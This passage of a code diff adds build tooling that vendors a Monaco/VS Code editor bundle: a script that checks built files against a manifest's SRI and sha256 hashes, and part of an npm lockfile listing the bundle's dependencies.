63+ out[entry] = { file: path.join(dir, entry + '.js'), licenses: JSON.parse(fs.readFileSync(path.join(dir, entry + '.licenses.json'), 'utf8')) };
64+ }
65+ return out;
66+}
67+
68+async function main() {
69+ const args = process.argv.slice(2);
70+ const outIdx = args.indexOf('--out');
71+ const outRoot = outIdx >= 0 ? path.resolve(args[outIdx + 1]) : path.join(REPO, 'web');
72+ checkToolchain();
73+ const rawDir = path.join(HERE, '.build', 'raw');
74+ const raw = await buildRaw(rawDir);
75+ const { postbuild } = await import('./postbuild.mjs');
76+ const result = await postbuild(raw, { outRoot, buildRoot: HERE });
77+ console.log(`buildId ${result.manifest.buildId}: ${result.manifest.files.map(f => `${f.name} ${f.raw} raw, ${f.gz} gz`).join('; ')}; total ${result.totalGz} gz`);
78+ console.log('manifest: ' + path.relative(process.cwd(), result.manifestPath));
79+}
80+
81+if (process.argv[1] && path.resolve(process.argv[1]) === fileURLToPath(import.meta.url)) {
82+ main().catch(e => { console.error('BUILD FAILED: ' + (e?.message || e)); process.exit(1); });
83+}
added vendor/vscode-ext2/check-output.mjs +100 −0
@@ -0,0 +1,100 @@
1+#!/usr/bin/env node
2+// Checks a built vendor folder against web/js/ext2/vendor-manifest.json:
3+// exactly the files the manifest names and nothing else, the SRI of every
4+// .gz, the sha256 of every inflated file and of LICENSES.txt, and the path
5+// sweep.
6+//
7+// node check-output.mjs [<web dir>]
8+// the local build folder (deploy-vendor.sh runs it before uploading)
9+// node check-output.mjs --sums [<web dir>]
10+// the sha256 of each file as `sha256sum` prints it, from the local
11+// files once they are checked
12+// node check-output.mjs --files [<web dir>]
13+// the names of the files the manifest names, one per line (what
14+// deploy-vendor.sh uploads)
15+// node check-output.mjs --manifest-sums [<web dir>]
16+// the sums `sha256sum` must print on the server, from the manifest
17+// alone (no local build needed: deploy.sh uses it)
18+// node check-output.mjs --live [<web dir>]
19+// exit 0 when browsers will ask for this build: the manifest is enabled
20+// and web/js/ext2/config.js names a sandbox for a production Code origin
21+import fs from 'node:fs';
22+import path from 'node:path';
23+import zlib from 'node:zlib';
24+import crypto from 'node:crypto';
25+import { fileURLToPath, pathToFileURL } from 'node:url';
26+import { sweepBuffers } from './sweep.mjs';
27+
28+const HERE = path.dirname(fileURLToPath(import.meta.url));
29+
30+const readManifest = webDir => JSON.parse(fs.readFileSync(path.join(webDir, 'js/ext2/vendor-manifest.json'), 'utf8'));
31+export const fileNames = manifest => [...manifest.files.map(f => f.name + '.gz'), manifest.licenses.name].sort();
32+
33+// lo que `sha256sum` tiene que dar en el servidor, sacado solo del manifiesto
34+export function manifestSums(manifest) {
35+ const sums = manifest.files.map(f => `${Buffer.from(f.sriGz.replace(/^sha256-/, ''), 'base64').toString('hex')} ${f.name}.gz`);
36+ sums.push(`${manifest.licenses.sha256} ${manifest.licenses.name}`);
37+ return sums.sort((a, b) => (a.slice(66) < b.slice(66) ? -1 : 1));
38+}
39+
40+export function checkOutput(webDir) {
41+ const manifest = readManifest(webDir);
42+ const dir = path.join(webDir, 'vendor/x2', manifest.buildId);
43+ const problems = [];
44+ const sums = [];
45+ const swept = [];
46+ // nada más que lo que nombra el manifiesto: otro fichero junto al bundle
47+ // (un .DS_Store, unas notas, una copia del editor) no se ha barrido
48+ let present = [];
49+ try { present = fs.readdirSync(dir); } catch { problems.push(`${dir} does not exist`); }
50+ const named = new Set(fileNames(manifest));
51+ for (const f of present) if (!named.has(f)) problems.push(`${f} is not in the manifest (remove it: only the manifest's files are deployed)`);
52+ for (const f of manifest.files) {
53+ let gz;
54+ try { gz = fs.readFileSync(path.join(dir, f.name + '.gz')); } catch { problems.push(`${f.name}.gz is missing`); continue; }
55+ const digest = crypto.createHash('sha256').update(gz).digest();
56+ if ('sha256-' + digest.toString('base64') !== f.sriGz) problems.push(`${f.name}.gz does not match its SRI`);
57+ if (gz.length !== f.gz) problems.push(`${f.name}.gz is ${gz.length} bytes, the manifest says ${f.gz}`);
58+ let raw;
59+ try { raw = zlib.gunzipSync(gz); } catch (e) { problems.push(`${f.name}.gz does not inflate (${String(e.message || e).slice(0, 80)})`); continue; }
60+ if (crypto.createHash('sha256').update(raw).digest('hex') !== f.sha256Raw) problems.push(`${f.name} does not match its sha256`);
61+ sums.push(`${digest.toString('hex')} ${f.name}.gz`);
62+ swept.push({ name: f.name, bytes: raw });
63+ }
64+ let lic = null;
65+ try { lic = fs.readFileSync(path.join(dir, manifest.licenses.name)); } catch { problems.push(manifest.licenses.name + ' is missing'); }
66+ if (lic) {
67+ const h = crypto.createHash('sha256').update(lic).digest('hex');
68+ if (h !== manifest.licenses.sha256) problems.push(manifest.licenses.name + ' does not match its sha256');
69+ sums.push(`${h} ${manifest.licenses.name}`);
70+ swept.push({ name: manifest.licenses.name, bytes: lic });
71+ }
72+ const allow = JSON.parse(fs.readFileSync(path.join(HERE, 'sweep-allowlist.json'), 'utf8'));
73+ const report = sweepBuffers(swept, allow, { buildRoot: HERE });
74+ problems.push(...report.problems);
75+ return { manifest, dir, problems, sums: sums.sort((a, b) => (a.slice(66) < b.slice(66) ? -1 : 1)) };
76+}
77+
78+// ¿Pedirá algún navegador este bundle? Solo si el manifiesto está encendido y
79+// config.js da un recinto a algún origen de producción de Code.
80+export async function live(webDir) {
81+ const manifest = readManifest(webDir);
82+ if (!manifest.enabled) return false;
83+ const { sandboxOrigin } = await import(pathToFileURL(path.join(webDir, 'js/ext2/config.js')).href);
84+ const spec = JSON.parse(fs.readFileSync(path.join(HERE, '../../sandbox/x2/headers.json'), 'utf8'));
85+ return spec.environments.production.code.some(o => { const u = new URL(o); return !!sandboxOrigin({ hostname: u.hostname, origin: u.origin, port: u.port }); });
86+}
87+
88+// (por su ruta real: /var y /tmp son enlaces en macOS)
89+if (process.argv[1] && fs.realpathSync(path.resolve(process.argv[1])) === fs.realpathSync(fileURLToPath(import.meta.url))) {
90+ const args = process.argv.slice(2);
91+ const webDir = path.resolve(args.find(a => !a.startsWith('--')) || path.join(HERE, '../../web'));
92+ if (args.includes('--files')) { for (const f of fileNames(readManifest(webDir))) console.log(f); process.exit(0); }
93+ if (args.includes('--manifest-sums')) { for (const s of manifestSums(readManifest(webDir))) console.log(s); process.exit(0); }
94+ if (args.includes('--live')) process.exit((await live(webDir)) ? 0 : 3);
95+ const r = checkOutput(webDir);
96+ if (args.includes('--sums')) { if (!r.problems.length) for (const s of r.sums) console.log(s); }
97+ else console.log(`${r.manifest.buildId}: ${r.problems.length ? r.problems.length + ' problems' : 'matches the manifest, sweep passed'}`);
98+ for (const p of r.problems) console.error(' ✗ ' + p);
99+ process.exit(r.problems.length ? 1 : 0);
100+}
added vendor/vscode-ext2/package-lock.json +969 −0
@@ -0,0 +1,969 @@
1+{
2+ "name": "elffuss-code-vscode-ext2-vendor",
3+ "lockfileVersion": 3,
4+ "requires": true,
5+ "packages": {
6+ "": {
7+ "name": "elffuss-code-vscode-ext2-vendor",
8+ "dependencies": {
9+ "@codingame/monaco-vscode-api": "37.3.11",
10+ "@codingame/monaco-vscode-configuration-service-override": "37.3.11",
11+ "@codingame/monaco-vscode-extensions-service-override": "37.3.11",
12+ "@codingame/monaco-vscode-keybindings-service-override": "37.3.11",
13+ "monaco-editor": "npm:@codingame/monaco-vscode-editor-api@37.3.11"
14+ },
15+ "devDependencies": {
16+ "vite": "8.3.0"
17+ },
18+ "engines": {
19+ "node": "25.6.1"
20+ }
21+ },
22+ "node_modules/@codingame/monaco-vscode-api": {
23+ "version": "37.3.11",
24+ "resolved": "https://registry.npmjs.org/@codingame/monaco-vscode-api/-/monaco-vscode-api-37.3.11.tgz",
25+ "integrity": "sha512-laWHMJ5Dwb9tOd65eSZ2WTWoee+YCwaWp1RsZGTBAkZSg3fRmmdAd5k6DBCu7btD8Lf8kMqCdplX4M2nNzhzUg==",
26+ "license": "MIT",
27+ "dependencies": {
28+ "@codingame/monaco-vscode-base-service-override": "37.3.11",
29+ "@codingame/monaco-vscode-environment-service-override": "37.3.11",
30+ "@codingame/monaco-vscode-extensions-service-override": "37.3.11",
31+ "@codingame/monaco-vscode-files-service-override": "37.3.11",
32+ "@codingame/monaco-vscode-host-service-override": "37.3.11",
33+ "@codingame/monaco-vscode-layout-service-override": "37.3.11",
34+ "@codingame/monaco-vscode-quickaccess-service-override": "37.3.11",
35+ "@vscode/diff": "0.0.2-7",
36+ "@vscode/iconv-lite-umd": "0.7.1",
37+ "dompurify": "3.4.15",
38+ "jschardet": "3.1.4",
39+ "marked": "14.0.0"
40+ }
41+ },
42+ "node_modules/@codingame/monaco-vscode-base-service-override": {
43+ "version": "37.3.11",
44+ "resolved": "https://registry.npmjs.org/@codingame/monaco-vscode-base-service-override/-/monaco-vscode-base-service-override-37.3.11.tgz",
45+ "integrity": "sha512-Zm8k8hbXJ7e0h8sf78qZOm6JQ85/7IvURoWDsqE4ECoMQKqgSnAUMunJGO4qi5Q3xjNDQl+Tgj1x9qu763PWtA==",
46+ "license": "MIT",
47+ "dependencies": {
48+ "@codingame/monaco-vscode-api": "37.3.11"
49+ }
50+ },
51+ "node_modules/@codingame/monaco-vscode-configuration-service-override": {
52+ "version": "37.3.11",
53+ "resolved": "https://registry.npmjs.org/@codingame/monaco-vscode-configuration-service-override/-/monaco-vscode-configuration-service-override-37.3.11.tgz",
54+ "integrity": "sha512-tW04UBYrv8ByGKt7oRAXAkRErGPyoAALKVJ4QyOGR94iTNCelLpZ9BwFhXH5p3H/mZ9iEkJNdoUtOUGdaiZn3Q==",
55+ "license": "MIT",
56+ "dependencies": {
57+ "@codingame/monaco-vscode-api": "37.3.11",
58+ "@codingame/monaco-vscode-files-service-override": "37.3.11"
59+ }
60+ },
61+ "node_modules/@codingame/monaco-vscode-environment-service-override": {
62+ "version": "37.3.11",
63+ "resolved": "https://registry.npmjs.org/@codingame/monaco-vscode-environment-service-override/-/monaco-vscode-environment-service-override-37.3.11.tgz",
64+ "integrity": "sha512-CeY0L94yp5N71f4obf4T0u857wa3mip169rwOkXlvTgzUN7EeCh2LOReROj3Ock/EtV23lDpYpx0g7ZLDQLaiw==",
65+ "license": "MIT",
66+ "dependencies": {
67+ "@codingame/monaco-vscode-api": "37.3.11"
68+ }
69+ },
70+ "node_modules/@codingame/monaco-vscode-extensions-service-override": {
71+ "version": "37.3.11",
72+ "resolved": "https://registry.npmjs.org/@codingame/monaco-vscode-extensions-service-override/-/monaco-vscode-extensions-service-override-37.3.11.tgz",
73+ "integrity": "sha512-qkNpu9zxJ61fxI5Ik6h1WcZgJefNrRZsfIXNvi+43lBJntA3WBnQMVwe54QXOMYYc+dqkLmM8XDmJHttbluY6Q==",
74+ "license": "MIT",
75+ "dependencies": {
76+ "@codingame/monaco-vscode-api": "37.3.11",
77+ "@codingame/monaco-vscode-files-service-override": "37.3.11"
78+ }
79+ },
80+ "node_modules/@codingame/monaco-vscode-files-service-override": {
81+ "version": "37.3.11",
82+ "resolved": "https://registry.npmjs.org/@codingame/monaco-vscode-files-service-override/-/monaco-vscode-files-service-override-37.3.11.tgz",
83+ "integrity": "sha512-w5vGbZWojAF7bEwBooeCxLkvRgr3xDxP36sKqrK1j2MxHV8k+xwNguOuHQrsdtOTIzcJiZnDPxr4UXfJTyyQfg==",
84+ "license": "MIT",
85+ "dependencies": {
86+ "@codingame/monaco-vscode-api": "37.3.11"
87+ }
88+ },
89+ "node_modules/@codingame/monaco-vscode-host-service-override": {
90+ "version": "37.3.11",
91+ "resolved": "https://registry.npmjs.org/@codingame/monaco-vscode-host-service-override/-/monaco-vscode-host-service-override-37.3.11.tgz",
92+ "integrity": "sha512-F7ud0BodV+xgYZ8g/etf2cPgYUJNG5Uy5za0E7FemTmELN4c//Y2/tMiIA7jM4Q/PXXaJwriCZvl8E1RTbl+iQ==",
93+ "license": "MIT",
94+ "dependencies": {
95+ "@codingame/monaco-vscode-api": "37.3.11"
96+ }
97+ },
98+ "node_modules/@codingame/monaco-vscode-keybindings-service-override": {
99+ "version": "37.3.11",
100+ "resolved": "https://registry.npmjs.org/@codingame/monaco-vscode-keybindings-service-override/-/monaco-vscode-keybindings-service-override-37.3.11.tgz",
101+ "integrity": "sha512-16q6R0XnnnmaLePt6SW4SwZeGaitMzAxNqpAw/VjnGu0LKJ9XKrLTKMB20uO/FVcW01qRPrFqzwOkvvVtgsV+Q==",
102+ "license": "MIT",
103+ "dependencies": {
104+ "@codingame/monaco-vscode-api": "37.3.11",
105+ "@codingame/monaco-vscode-files-service-override": "37.3.11"
106+ }
107+ },
108+ "node_modules/@codingame/monaco-vscode-layout-service-override": {
109+ "version": "37.3.11",
110+ "resolved": "https://registry.npmjs.org/@codingame/monaco-vscode-layout-service-override/-/monaco-vscode-layout-service-override-37.3.11.tgz",
111+ "integrity": "sha512-CY6v2nla8Z/dbSgykbcnKiGCJBuzfXWjI1K/v6Pev9kVHoJETQXnNlF7IkovSKOBmz9NEVqpKlOlbaYbKUf1rw==",
112+ "license": "MIT",
113+ "dependencies": {
114+ "@codingame/monaco-vscode-api": "37.3.11"
115+ }
116+ },
117+ "node_modules/@codingame/monaco-vscode-quickaccess-service-override": {
118+ "version": "37.3.11",
119+ "resolved": "https://registry.npmjs.org/@codingame/monaco-vscode-quickaccess-service-override/-/monaco-vscode-quickaccess-service-override-37.3.11.tgz",
120+ "integrity": "sha512-hs61r4CQ5/AHBlY9a1fixORLyCj+NJGMkWZ7f4rm1sQB6GNGNO84B8k3v8+h3Z28HaHbAqrnCFb5UtXDQv7Rdw==",
121+ "license": "MIT",
122+ "dependencies": {
123+ "@codingame/monaco-vscode-api": "37.3.11"
124+ }
125+ },
126+ "node_modules/@oxc-project/types": {
127+ "version": "0.153.0",
128+ "resolved": "https://registry.npmjs.org/@oxc-project/types/-/types-0.153.0.tgz",
129+ "integrity": "sha512-jSNrRIyvPVLL5E1z/tS5zLAprosGz/FuI1PWwEOz59j3E4TTTzSpqKb/RDGqJhhW0QHYISGXxq582wGx6T11Tw==",
130+ "dev": true,
131+ "license": "MIT",
132+ "funding": {
133+ "url": "https://github.com/sponsors/oxc-project"
134+ }
135+ },
136+ "node_modules/@rolldown/binding-android-arm-eabi": {
137+ "version": "1.2.13",
138+ "resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm-eabi/-/binding-android-arm-eabi-1.2.13.tgz",
139+ "integrity": "sha512-Vu/NICrgdRvUOeaJZIyB2FP63s6fO/4ud5l8dXmxDx9yDyn+mN0y+gsvsVviSli+T361Aqo0h46EuMoobrwawA==",
140+ "cpu": [
141+ "arm"
142+ ],
143+ "dev": true,
144+ "license": "MIT",
145+ "optional": true,
146+ "os": [
147+ "android"
148+ ],
149+ "engines": {
150+ "node": "^20.19.0 || >=22.12.0"
151+ }
152+ },
153+ "node_modules/@rolldown/binding-android-arm64": {
154+ "version": "1.2.13",
155+ "resolved": "https://registry.npmjs.org/@rolldown/binding-android-arm64/-/binding-android-arm64-1.2.13.tgz",
156+ "integrity": "sha512-6LEoIrGy5vvCd2boNnv2soPSUZj/PRvhp8R/t9KlX+mIZxThIE/ZqxrGXxmuNX0FuvQFvLdZr7S4HrYpYBVhEQ==",
157+ "cpu": [
158+ "arm64"
159+ ],
160+ "dev": true,
161+ "license": "MIT",
162+ "optional": true,
163+ "os": [
164+ "android"
165+ ],
166+ "engines": {
167+ "node": "^20.19.0 || >=22.12.0"
168+ }
169+ },
170+ "node_modules/@rolldown/binding-darwin-arm64": {
171+ "version": "1.2.13",
172+ "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-arm64/-/binding-darwin-arm64-1.2.13.tgz",
173+ "integrity": "sha512-CaJSRzlQ6Q+zkDMVA9OkVxBjVoPRCDEE3v0FSJ9kIQBgRjFApA3Si4ijhbNVUji7ZJt+PfO0e46qy4nPInHUPA==",
174+ "cpu": [
175+ "arm64"
176+ ],
177+ "dev": true,
178+ "license": "MIT",
179+ "optional": true,
180+ "os": [
181+ "darwin"
182+ ],
183+ "engines": {
184+ "node": "^20.19.0 || >=22.12.0"
185+ }
186+ },
187+ "node_modules/@rolldown/binding-darwin-x64": {
188+ "version": "1.2.13",
189+ "resolved": "https://registry.npmjs.org/@rolldown/binding-darwin-x64/-/binding-darwin-x64-1.2.13.tgz",
190+ "integrity": "sha512-e4r340I5hxSzJkD3YJBxgzq/rJ3wwxwdLLb2FPt1Zpyem20nrQPT11DDEEkazwxaHumH8wpglsp/Ozgj/wT6mw==",
191+ "cpu": [
192+ "x64"
193+ ],
194+ "dev": true,
195+ "license": "MIT",
196+ "optional": true,
197+ "os": [
198+ "darwin"
199+ ],
200+ "engines": {
201+ "node": "^20.19.0 || >=22.12.0"
202+ }
203+ },
204+ "node_modules/@rolldown/binding-freebsd-x64": {
205+ "version": "1.2.13",
206+ "resolved": "https://registry.npmjs.org/@rolldown/binding-freebsd-x64/-/binding-freebsd-x64-1.2.13.tgz",
207+ "integrity": "sha512-hoBWDZ4/K/mJKVMbsgUd1jfpA2DiOrJ54mpegObU9TBHBBrtX4FLIXJJQRDPZ/2Dn91GvPob+Z2hwKJzf4E5SQ==",
208+ "cpu": [
209+ "x64"
210+ ],
211+ "dev": true,
212+ "license": "MIT",
213+ "optional": true,
214+ "os": [
215+ "freebsd"
216+ ],
217+ "engines": {
218+ "node": "^20.19.0 || >=22.12.0"
219+ }
220+ },
221+ "node_modules/@rolldown/binding-linux-arm-gnueabihf": {
222+ "version": "1.2.13",
223+ "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm-gnueabihf/-/binding-linux-arm-gnueabihf-1.2.13.tgz",
224+ "integrity": "sha512-oF9fZu3vTWnTiVAkDFxU9PJLt1nh20K9RRpuHsR7ZnE2L7XookBbDBVLojCVSLGbvtSlxeUNnjAj6DbNsKyzbg==",
225+ "cpu": [
226+ "arm"
227+ ],
228+ "dev": true,
229+ "license": "MIT",
230+ "optional": true,
231+ "os": [
232+ "linux"
233+ ],
234+ "engines": {
235+ "node": "^20.19.0 || >=22.12.0"
236+ }
237+ },
238+ "node_modules/@rolldown/binding-linux-arm64-gnu": {
239+ "version": "1.2.13",
240+ "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-gnu/-/binding-linux-arm64-gnu-1.2.13.tgz",
241+ "integrity": "sha512-DTpb/+jMiqWMPgphn4ksW1zW+XLJ6dJJ9FMvnIk9I291LhCctMPhMYJrP5t9p6C9qa3KXadDdUEZHBaPh3kNxQ==",
242+ "cpu": [
243+ "arm64"
244+ ],
245+ "dev": true,
246+ "license": "MIT",
247+ "optional": true,
248+ "os": [
249+ "linux"
250+ ],
251+ "engines": {
252+ "node": "^20.19.0 || >=22.12.0"
253+ }
254+ },
255+ "node_modules/@rolldown/binding-linux-arm64-musl": {
256+ "version": "1.2.13",
257+ "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-arm64-musl/-/binding-linux-arm64-musl-1.2.13.tgz",
258+ "integrity": "sha512-xU+Kvv9N2A3SY35zFh1FWWNjxbadE/BKeqnkXe7vScU4GZsw757BlVmDLITZEq8DPpk6m7uoDYkK7P+x/uU5Ow==",
259+ "cpu": [
260+ "arm64"
261+ ],
262+ "dev": true,
263+ "license": "MIT",
264+ "optional": true,
265+ "os": [
266+ "linux"
267+ ],
268+ "engines": {
269+ "node": "^20.19.0 || >=22.12.0"
270+ }
271+ },
272+ "node_modules/@rolldown/binding-linux-ppc64-gnu": {
273+ "version": "1.2.13",
274+ "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-ppc64-gnu/-/binding-linux-ppc64-gnu-1.2.13.tgz",
275+ "integrity": "sha512-XMk/hnhh25oQ756Lclb1Q11h4ll0xC0Esa5w4Vzp+mAE2S3AGJgeM0SonrIgY8fHhjarb6hcoTuwoFG0VVP2ig==",
276+ "cpu": [
277+ "ppc64"
278+ ],
279+ "dev": true,
280+ "license": "MIT",
281+ "optional": true,
282+ "os": [
283+ "linux"
284+ ],
285+ "engines": {
286+ "node": "^20.19.0 || >=22.12.0"
287+ }
288+ },
289+ "node_modules/@rolldown/binding-linux-s390x-gnu": {
290+ "version": "1.2.13",
291+ "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-s390x-gnu/-/binding-linux-s390x-gnu-1.2.13.tgz",
292+ "integrity": "sha512-U1BoTHYmlywE2n3HUWjzZ+8EQsKr+OwpxYuDWaubx42tUL8QSL7nOqRz/NVHanibbFP3M1Rxuprz/wNcbMKjqw==",
293+ "cpu": [
294+ "s390x"
295+ ],
296+ "dev": true,
297+ "license": "MIT",
298+ "optional": true,
299+ "os": [
300+ "linux"
301+ ],
302+ "engines": {
303+ "node": "^20.19.0 || >=22.12.0"
304+ }
305+ },
306+ "node_modules/@rolldown/binding-linux-x64-gnu": {
307+ "version": "1.2.13",
308+ "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-gnu/-/binding-linux-x64-gnu-1.2.13.tgz",
309+ "integrity": "sha512-J4cm80Pc6wEwV5AZ42o62sIQgDk+Y7R2s646jIwuvO+4V46QB58N4vVuMPWCBaNgursXLpmUWJV//WQAkPvHBQ==",
310+ "cpu": [
311+ "x64"
312+ ],
313+ "dev": true,
314+ "license": "MIT",
315+ "optional": true,
316+ "os": [
317+ "linux"
318+ ],
319+ "engines": {
320+ "node": "^20.19.0 || >=22.12.0"
321+ }
322+ },
323+ "node_modules/@rolldown/binding-linux-x64-musl": {
324+ "version": "1.2.13",
325+ "resolved": "https://registry.npmjs.org/@rolldown/binding-linux-x64-musl/-/binding-linux-x64-musl-1.2.13.tgz",
326+ "integrity": "sha512-W0euZS40U4V6JkmEnVCIX9mcsL6cbXQ4X8c2w+MMOIjFg68TXUW+u3RT+2e1t1pv9mg/EP3pDtK3POXdQ7Rxyw==",
327+ "cpu": [
328+ "x64"
329+ ],
330+ "dev": true,
331+ "license": "MIT",
332+ "optional": true,
333+ "os": [
334+ "linux"
335+ ],
336+ "engines": {
337+ "node": "^20.19.0 || >=22.12.0"
338+ }
339+ },
340+ "node_modules/@rolldown/binding-openharmony-arm64": {
341+ "version": "1.2.13",
342+ "resolved": "https://registry.npmjs.org/@rolldown/binding-openharmony-arm64/-/binding-openharmony-arm64-1.2.13.tgz",
343+ "integrity": "sha512-do/AF/4n9MRshia3a5aXoy8xM2c6mgfT6D7H/dY6my5z+hfCIR4ab7mk4IRj++nsEQpKy39kd0DQnDq+r692tw==",
344+ "cpu": [
345+ "arm64"
346+ ],
347+ "dev": true,
348+ "license": "MIT",
349+ "optional": true,
350+ "os": [
351+ "openharmony"
352+ ],
353+ "engines": {
354+ "node": "^20.19.0 || >=22.12.0"
355+ }
356+ },
357+ "node_modules/@rolldown/binding-win32-arm64-msvc": {
358+ "version": "1.2.13",
359+ "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-arm64-msvc/-/binding-win32-arm64-msvc-1.2.13.tgz",
360+ "integrity": "sha512-6FtUf2cJZobutJdxnGYX8z0vtbgqU0b2v8vfBhkXb9wp2MppMFtkunE+IaOntyi01rkIQoPW2GHABtfzsC0BRQ==",
361+ "cpu": [
362+ "arm64"
363+ ],
364+ "dev": true,
365+ "license": "MIT",
366+ "optional": true,
367+ "os": [
368+ "win32"
369+ ],
370+ "engines": {
371+ "node": "^20.19.0 || >=22.12.0"
372+ }
373+ },
374+ "node_modules/@rolldown/binding-win32-x64-msvc": {
375+ "version": "1.2.13",
376+ "resolved": "https://registry.npmjs.org/@rolldown/binding-win32-x64-msvc/-/binding-win32-x64-msvc-1.2.13.tgz",
377+ "integrity": "sha512-UKhFaZTeTcbKrb3iU82m17jVcPEAoqDkCN5MBqgPyZSwp/cQmib21crTS0DdH7T1B7wZRWEI89YQAOJMet5yhg==",
378+ "cpu": [
379+ "x64"
380+ ],
381+ "dev": true,
382+ "license": "MIT",
383+ "optional": true,
384+ "os": [
385+ "win32"
386+ ],
387+ "engines": {
388+ "node": "^20.19.0 || >=22.12.0"
389+ }
390+ },
391+ "node_modules/@rolldown/pluginutils": {
392+ "version": "1.0.1",
393+ "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.1.tgz",
394+ "integrity": "sha512-2j9bGt5Jh8hj+vPtgzPtl72j0yRxHAyumoo6TNfAjsLB04UtpSvPbPcDcBMxz7n+9CYB0c1GxQFxYRg2jimqGw==",
395+ "dev": true,
396+ "license": "MIT"
397+ },
398+ "node_modules/@types/trusted-types": {
399+ "version": "2.0.7",
400+ "resolved": "https://registry.npmjs.org/@types/trusted-types/-/trusted-types-2.0.7.tgz",
401+ "integrity": "sha512-ScaPdn1dQczgbl0QFTeTOmVHFULt394XJgOQNoyVhZ6r2vLnMLJfBPd53SB52T/3G36VI1/g2MZaX0cwDuXsfw==",
402+ "license": "MIT",
403+ "optional": true
404+ },
405+ "node_modules/@vscode/diff": {
406+ "version": "0.0.2-7",
407+ "resolved": "https://registry.npmjs.org/@vscode/diff/-/diff-0.0.2-7.tgz",
408+ "integrity": "sha512-zGPIPeUAmQs79u7g6FTLmhlXFIocUTtuHYmCV5lRZf6vlDk7SWEOpBlYY6SsShC3TB/lm2KxXMj9tP32YOPrhg==",
409+ "license": "MIT"
410+ },
411+ "node_modules/@vscode/iconv-lite-umd": {
412+ "version": "0.7.1",
413+ "resolved": "https://registry.npmjs.org/@vscode/iconv-lite-umd/-/iconv-lite-umd-0.7.1.tgz",
414+ "integrity": "sha512-tK6k0DXFHW7q5+GGuGZO+phpAqpxO4WXl+BLc/8/uOk3RsM2ssAL3CQUQDb1TGfwltjsauhN6S4ghYZzs4sPFw==",
415+ "license": "MIT"
416+ },
417+ "node_modules/detect-libc": {
418+ "version": "2.1.2",
419+ "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz",
420+ "integrity": "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==",
421+ "dev": true,
422+ "license": "Apache-2.0",
423+ "engines": {
424+ "node": ">=8"
425+ }
426+ },
427+ "node_modules/dompurify": {
428+ "version": "3.4.15",
429+ "resolved": "https://registry.npmjs.org/dompurify/-/dompurify-3.4.15.tgz",
430+ "integrity": "sha512-EUBjM+B+lkDE41iE82DDSCfkoPGfXx8IxFxPMjNzm/Uk4xDet77rTN9wqlxlVg71kK7XGuUMv6wUxJUwwv+Xyw==",
431+ "license": "(MPL-2.0 OR Apache-2.0)",
432+ "optionalDependencies": {
433+ "@types/trusted-types": "^2.0.7"
434+ }
435+ },
436+ "node_modules/fdir": {
437+ "version": "6.5.0",
438+ "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz",
439+ "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==",
440+ "dev": true,
441+ "license": "MIT",
442+ "engines": {
443+ "node": ">=12.0.0"
444+ },
445+ "peerDependencies": {
446+ "picomatch": "^3 || ^4"
447+ },
448+ "peerDependenciesMeta": {
449+ "picomatch": {
450+ "optional": true
451+ }
452+ }
453+ },
454+ "node_modules/fsevents": {
455+ "version": "2.3.3",
456+ "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz",
457+ "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==",
458+ "dev": true,
459+ "hasInstallScript": true,
460+ "license": "MIT",
461+ "optional": true,
462+ "os": [
463+ "darwin"
464+ ],
465+ "engines": {
466+ "node": "^8.16.0 || ^10.6.0 || >=11.0.0"
467+ }
468+ },
469+ "node_modules/jschardet": {
470+ "version": "3.1.4",
471+ "resolved": "https://registry.npmjs.org/jschardet/-/jschardet-3.1.4.tgz",
472+ "integrity": "sha512-/kmVISmrwVwtyYU40iQUOp3SUPk2dhNCMsZBQX0R1/jZ8maaXJ/oZIzUOiyOqcgtLnETFKYChbJ5iDC/eWmFHg==",
473+ "license": "LGPL-2.1+",
474+ "engines": {
475+ "node": ">=0.1.90"
476+ }
477+ },
478+ "node_modules/lightningcss": {
479+ "version": "1.33.0",
480+ "resolved": "https://registry.npmjs.org/lightningcss/-/lightningcss-1.33.0.tgz",
481+ "integrity": "sha512-WkUDrojuJs0xkgGf2udWxa3yGBRxPtxUkB79i6aCZLRgc7PM8fZe9TosfPDcvEpQZbuFASnHYmRLBLUbmLOIIA==",
482+ "dev": true,
483+ "license": "MPL-2.0",
484+ "dependencies": {
485+ "detect-libc": "^2.0.3"
486+ },
487+ "engines": {
488+ "node": ">= 12.0.0"
489+ },
490+ "funding": {
491+ "type": "opencollective",
492+ "url": "https://opencollective.com/parcel"
493+ },
494+ "optionalDependencies": {
495+ "lightningcss-android-arm64": "1.33.0",
496+ "lightningcss-darwin-arm64": "1.33.0",
497+ "lightningcss-darwin-x64": "1.33.0",
498+ "lightningcss-freebsd-x64": "1.33.0",
499+ "lightningcss-linux-arm-gnueabihf": "1.33.0",
500+ "lightningcss-linux-arm64-gnu": "1.33.0",
501+ "lightningcss-linux-arm64-musl": "1.33.0",
502+ "lightningcss-linux-x64-gnu": "1.33.0",
503+ "lightningcss-linux-x64-musl": "1.33.0",
504+ "lightningcss-win32-arm64-msvc": "1.33.0",
505+ "lightningcss-win32-x64-msvc": "1.33.0"
506+ }
507+ },
508+ "node_modules/lightningcss-android-arm64": {
509+ "version": "1.33.0",
510+ "resolved": "https://registry.npmjs.org/lightningcss-android-arm64/-/lightningcss-android-arm64-1.33.0.tgz",
511+ "integrity": "sha512-gEpRTalKdosp4Bb8qWtc2iOgE5SeIHlpS1up9bFq2wAyYhl1UdTObYiHe98zEM9SQvSoqQZ1IQD0JNpg3Ml5pg==",
512+ "cpu": [
